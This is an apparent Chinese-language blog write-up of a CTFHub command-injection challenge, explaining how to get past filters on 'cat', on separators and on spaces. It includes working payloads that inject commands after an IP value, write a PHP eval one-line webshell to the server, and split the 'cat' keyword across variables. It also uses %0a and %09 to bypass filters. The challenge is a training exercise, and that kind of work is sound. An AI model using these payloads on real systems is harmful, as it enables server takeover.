CTFHub 命令注入-过滤cat

CTFHub 命令注入-过滤cat

在这里插入图片描述
第一还是看源码,首先是肯定是过滤了cat关键字,虽然看不太懂,但是才也是这样啊嘻嘻。
但是preg_match_all有三个参数,看一下,这三个参数分别是干什么的:

<?php
$userinfo = "Name: <b>PHP</b> <br> Title: <b>Programming Language</b>";
preg_match_all ("/<b>(.*)<\/b>/U", $userinfo, $pat_array);
print_r($pat_array[0]);
?>

运行结果如下所示:

Array
(
    [0] => <b>PHP</b>
    [1] => <b>Programming Language</b>
)

可以看到输出结果存储在第三个参数中。
同样 exec函数 exec($cmd, $res);的执行结果也会存储在变量res中

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

然后输出res,如果没有语句执行,m变量给res赋值。res实际输出的就是m,如下图所示:
在这里插入图片描述
这道题有两种做法:

1、一句话木马
127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>" > 555.php

⚠️:POST函数前面有一个\如果不写这个的话,一句话木马就不管用(别问为什么, 不知道

然后再用 蚁剑就行

2、绕过关键字的形式

假如过滤了cat关键字,我们可以采取这样的方式:
127.0.0.1;a=c;b=at;$a$b rce.php或者127.0.0.1;a=c;b=at;${a}${b} rce_ping.php

我试了下,在这道题是不行的,但是在别的地方就是行。

shell管道符用法讲解

管道符号,符号为|一条竖线,command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2。而且命令 2 只能处理命令 1 的正确输出,而不能处理错误输出。
关于管道符,我们再举几个例子:

[root@localhost ~]# netstat -an | grep "ESTABLISHED"
#查询一下本地所有网络连接,提取包含 ESTABLISHED(已建立连接)的行

#就可以知道我们的服务器上有多少已经成功连接的网络连接
[root@localhost ~]# netstat -an | grep "ESTABLISHED" | wc-l
#如果想知道具体的网络连接数量,就可以再使用wc命令统计行数

在命令注入的题目中,经常用到:

#加密
echo "123" | base64
#解密
echo "MTIz" | base64 -d
; | & 符号过滤

无法拼接语句所以 需要寻找替代这些符号的符号,通过burp实验%00到%ff,发现只有%0a可以起到作用。
所以执行两个语句,用%0a来代替上面的符号。

过滤空格

如果空格也过滤掉,我们同样可以通过burp来fuzz可以用的字符。
一般情况下%09 %0b %0c是有用的

ctfhub 命令注入-综合练习

http://challenge-aed07b5acde69d19.sandbox.ctfhub.com:10080/?ip=127.0.0.1%0aecho%09"<?php$%09@eval(\$_POST['a'])?>">>shell.php

然后我采用了遮掩的payload,很神奇

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值